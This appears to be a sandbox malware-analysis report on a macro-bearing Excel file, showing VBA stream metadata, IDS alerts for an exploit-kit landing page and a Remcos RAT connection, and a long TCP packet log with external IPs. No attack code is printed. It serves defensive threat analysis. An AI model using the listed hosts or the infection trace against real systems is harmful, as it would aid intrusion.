Data ASCII:	I D = " { 5 1 6 C 4 3 6 C - 5 9 3 4 - 4 9 5 C - A D 5 D - 6 1 D F D C B 3 5 C 8 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 4 5 4 7 B 5 0 6 D 7 3 3 D B 3 3 D
Data Raw:	49 44 3d 22 7b 35 31 36 43 34 33 36 43 2d 35 39 33 34 2d 34 39 35 43 2d 41 44 35 44 2d 36 31 44 46 44 43 42 33 35 43 38 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.978121863432822
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.346859478693808
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . m . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 .
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 01 6d 07 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T12:51:55.558444+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	104.168.32.148	80	192.168.2.22	49174	TCP
2024-09-27T12:51:55.558444+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	104.168.32.148	80	192.168.2.22	49174	TCP
2024-09-27T12:52:30.703257+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49175	45.134.140.68	50312	TCP
2024-09-27T12:52:59.119714+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49176	45.134.140.68	50312	TCP
2024-09-27T12:54:23.160130+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.22	49177	45.134.140.68	50312	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 12:51:31.122769117 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.122807026 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:31.122865915 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.128340960 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.128357887 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:31.613385916 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:31.613529921 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.622206926 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.622231007 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:31.622692108 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:31.622769117 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.696728945 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:31.743402958 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:32.097878933 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:32.097963095 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:32.098012924 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:32.098046064 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:32.145519972 CEST	49163	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:32.145543098 CEST	443	49163	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:32.160811901 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.165710926 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.165781975 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.165882111 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.170623064 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661026955 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661046028 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661057949 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661099911 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661111116 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661117077 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.661117077 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.661123037 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661139965 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.661174059 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.661339045 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661350965 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661360979 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661371946 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.661727905 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.661727905 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.666007996 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.666033983 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.666044950 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.666074038 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.666110992 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.696352959 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.753273964 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753315926 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753325939 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753379107 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.753379107 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.753390074 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753401995 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753413916 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.753456116 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.753456116 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754070044 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754153013 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754153967 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754165888 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754230022 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754261017 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754272938 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754282951 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754359007 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754812002 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754859924 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754859924 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754873991 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754885912 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.754931927 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754931927 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.754971981 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755027056 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.755366087 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755409956 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.755431890 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755445004 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755502939 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.755563021 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755574942 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755582094 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.755598068 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.755660057 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.756333113 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.756391048 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.758217096 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.758280993 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.758286953 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.758311033 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.758346081 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.758347034 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846340895 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846366882 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846379042 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846420050 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846431971 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846472025 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846546888 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846575022 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846610069 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846632957 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846643925 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846654892 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846668959 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846683979 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846731901 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846836090 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.846882105 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.846882105 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847620010 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847666979 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847672939 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847683907 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847735882 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847764015 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847774982 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847812891 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847842932 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847904921 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847914934 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847925901 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.847940922 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.847982883 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848118067 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848129034 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848139048 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848150015 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848171949 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848184109 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848315954 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848365068 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848468065 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848479033 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848491907 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848501921 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848529100 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848529100 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848622084 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848654985 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848706961 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848723888 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848735094 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848771095 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848861933 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848872900 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848882914 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:32.848931074 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:32.848931074 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:33.258066893 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:33.776736975 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:33.776767015 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:33.776839972 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:33.783031940 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:33.783041954 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.244324923 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.244390965 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.250351906 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.250360012 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.250618935 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.250665903 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.369585037 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.411444902 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.751904011 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.751983881 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.751991987 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.752032995 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:34.752041101 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.752089024 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.756345987 CEST	49165	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:34.756361008 CEST	443	49165	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:35.538602114 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:35.538629055 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:35.538706064 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:35.539104939 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:35.539112091 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:35.998852015 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:35.999006987 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.002976894 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.002983093 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.003235102 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.014826059 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.055439949 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.236191034 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.236257076 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.236310005 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.236515999 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.236529112 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:36.236541986 CEST	49166	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:36.236547947 CEST	443	49166	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:37.787301064 CEST	80	49164	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:37.787444115 CEST	49164	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:39.608772039 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:39.608859062 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:39.608938932 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:39.609869957 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:39.609904051 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.067338943 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.067446947 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.075421095 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.075453997 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.075848103 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.100420952 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.143423080 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.492100000 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.492213964 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.492297888 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.493988037 CEST	49167	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.494024992 CEST	443	49167	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.942454100 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.942483902 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:40.942560911 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.943000078 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:40.943010092 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.399360895 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.399478912 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.409735918 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.409749031 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.410120010 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.411355972 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.451404095 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.810269117 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.810368061 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.810643911 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.811000109 CEST	49168	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.811021090 CEST	443	49168	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.822468042 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.822550058 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:41.822630882 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.822791100 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:41.822839022 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.288161993 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.288575888 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:42.288638115 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.289392948 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:42.289422989 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.709240913 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.709335089 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.709398031 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:42.709508896 CEST	49169	443	192.168.2.22	172.67.179.215
Sep 27, 2024 12:51:42.709548950 CEST	443	49169	172.67.179.215	192.168.2.22
Sep 27, 2024 12:51:42.789710045 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:42.789812088 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:42.789901972 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:42.790251017 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:42.790282011 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.248321056 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.248629093 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.249949932 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.249970913 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.251336098 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.251348972 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.665726900 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.665800095 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.665805101 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.665848970 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.665946960 CEST	49170	443	192.168.2.22	104.21.64.88
Sep 27, 2024 12:51:43.665981054 CEST	443	49170	104.21.64.88	192.168.2.22
Sep 27, 2024 12:51:43.668040991 CEST	49171	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:43.673273087 CEST	80	49171	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:43.673350096 CEST	49171	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:43.673423052 CEST	49171	80	192.168.2.22	104.168.32.148
